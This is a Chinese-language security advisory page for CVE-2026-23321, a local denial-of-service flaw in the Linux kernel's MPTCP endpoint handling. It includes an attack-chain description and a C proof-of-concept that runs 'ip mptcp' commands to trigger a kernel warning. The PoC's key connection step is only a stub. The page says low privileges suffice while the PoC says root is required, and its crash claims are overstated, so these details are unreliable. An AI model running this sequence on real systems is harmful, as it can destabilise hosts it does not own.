IPBUF安全漏洞报告
English
CVE-2026-23321 CVSS 5.5 中危

CVE-2026-23321 Linux内核MPTCP逻辑错误漏洞

披露日期: 2026-03-25
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-23321
漏洞类型
逻辑错误
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux KernelMPTCP拒绝服务逻辑错误本地漏洞

漏洞概述

Linux内核的MPTCP(多路径TCP)协议栈中存在一个逻辑缺陷,可能导致拒绝服务。该漏洞位于内核的路径管理(PM)组件,涉及对子流和信号端点的标记管理。当本地用户执行特定的操作序列时,会触发内核警告。具体场景包括:将MPTCP子流限制设置为0,创建同时带有“signal”和“subflow”标志的端点,从不同地址发起连接(发送ADD_ADDR但不建立子流),随后删除该端点。由于内核未能正确维护本地地址使用计数器,导致计数器异常归零,进而触发WARNING,可能导致系统崩溃或内核恐慌。

技术细节

该漏洞位于Linux内核源码的`net/mptcp/pm_kernel.c`文件中,核心问题出在`__mark_subflow_endp_available`函数以及`mptcp_nl_remove_subflow_and_signal_addr`调用路径。漏洞原理在于MPTCP路径管理器在处理带有“signal”和“subflow”双标志端点时的状态跟踪不一致。正常情况下,端点创建时会增加`local_addr_used`计数。但在特定条件下,即子流限制(subflow limit)被设为0时,虽然“signal”标志允许发送ADD_ADDR通知,但“subflow”标志因限制无法创建实际子流,导致状态机混乱。当用户调用Netlink接口删除该端点时,内核尝试释放资源并减少`local_addr_used`计数,由于该计数在异常状态下已为0,触发了`WARNING: msk->pm.local_addr_used == 0`。在默认内核配置下,这类WARNING通常会导致系统进入不稳定状态或直接崩溃。攻击者需具备本地低权限即可利用此漏洞。

攻击链分析

STEP 1
步骤1
攻击者将MPTCP的子流限制设置为0,阻止新的子流被创建。
STEP 2
步骤2
创建一个同时带有'signal'(信号)和'subflow'(子流)标志的MPTCP端点。
STEP 3
步骤3
从不同的地址发起新的MPTCP连接。由于'signal'标志,系统发送ADD_ADDR选项;但由于子流限制为0,不会创建实际的子流。
STEP 4
步骤4
删除该MPTCP端点。内核在尝试减少本地地址使用计数时,发现计数器已为0,触发WARNING断言,导致系统崩溃。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * PoC for CVE-2026-23321 * This script demonstrates the steps to trigger the kernel warning. * Requires root privileges to modify MPTCP settings and endpoints. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <linux/netlink.h> // Step 1: Set MPTCP subflows limit to 0 // Command equivalent: ip mptcp limits set subflow 0 void set_subflow_limit_zero() { system("ip mptcp limits set subflow 0"); printf("[+] Subflow limit set to 0\n"); } // Step 2: Create an MPTCP endpoint with 'signal' and 'subflow' flags // Command equivalent: ip mptcp endpoint add <IP> dev <DEV> id 1 flags signal,subflow void create_malicious_endpoint() { // Assuming 10.0.0.1 is a valid local IP system("ip mptcp endpoint add 10.0.0.1 dev eth0 id 1 flags signal,subflow"); printf("[+] Endpoint created with signal and subflow flags\n"); } // Step 3: Simulate creating a MPTCP connection from a different address // Note: Actual ADD_ADDR transmission requires a socket interaction, // which Syzkaller manages to trigger. Here we simulate the state. void trigger_add_addr() { // In a real exploit, this involves creating a socket that triggers // the ADD_ADDR logic without establishing a subflow (due to limit 0). printf("[+] Triggering ADD_ADDR without subflow creation...\n"); } // Step 4: Remove the MPTCP endpoint // Command equivalent: ip mptcp endpoint delete id 1 void remove_endpoint() { printf("[+] Removing endpoint to trigger warning...\n"); system("ip mptcp endpoint delete id 1"); } int main() { printf("Starting PoC for CVE-2026-23321\n"); set_subflow_limit_zero(); create_malicious_endpoint(); trigger_add_addr(); // This step is expected to cause the kernel warning: // WARNING: CPU: 1 PID: 961 at net/mptcp/pm_kernel.c:1071 remove_endpoint(); printf("If successful, check dmesg for kernel warning.\n"); return 0; }

影响范围

Linux Kernel (特定版本,需参考Git提交记录)

防御指南

临时缓解措施
如果不需使用MPTCP功能,可以通过禁用内核中的MPTCP模块来缓解风险。此外,严格限制本地用户权限,防止恶意用户利用Netlink接口执行此类操作。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表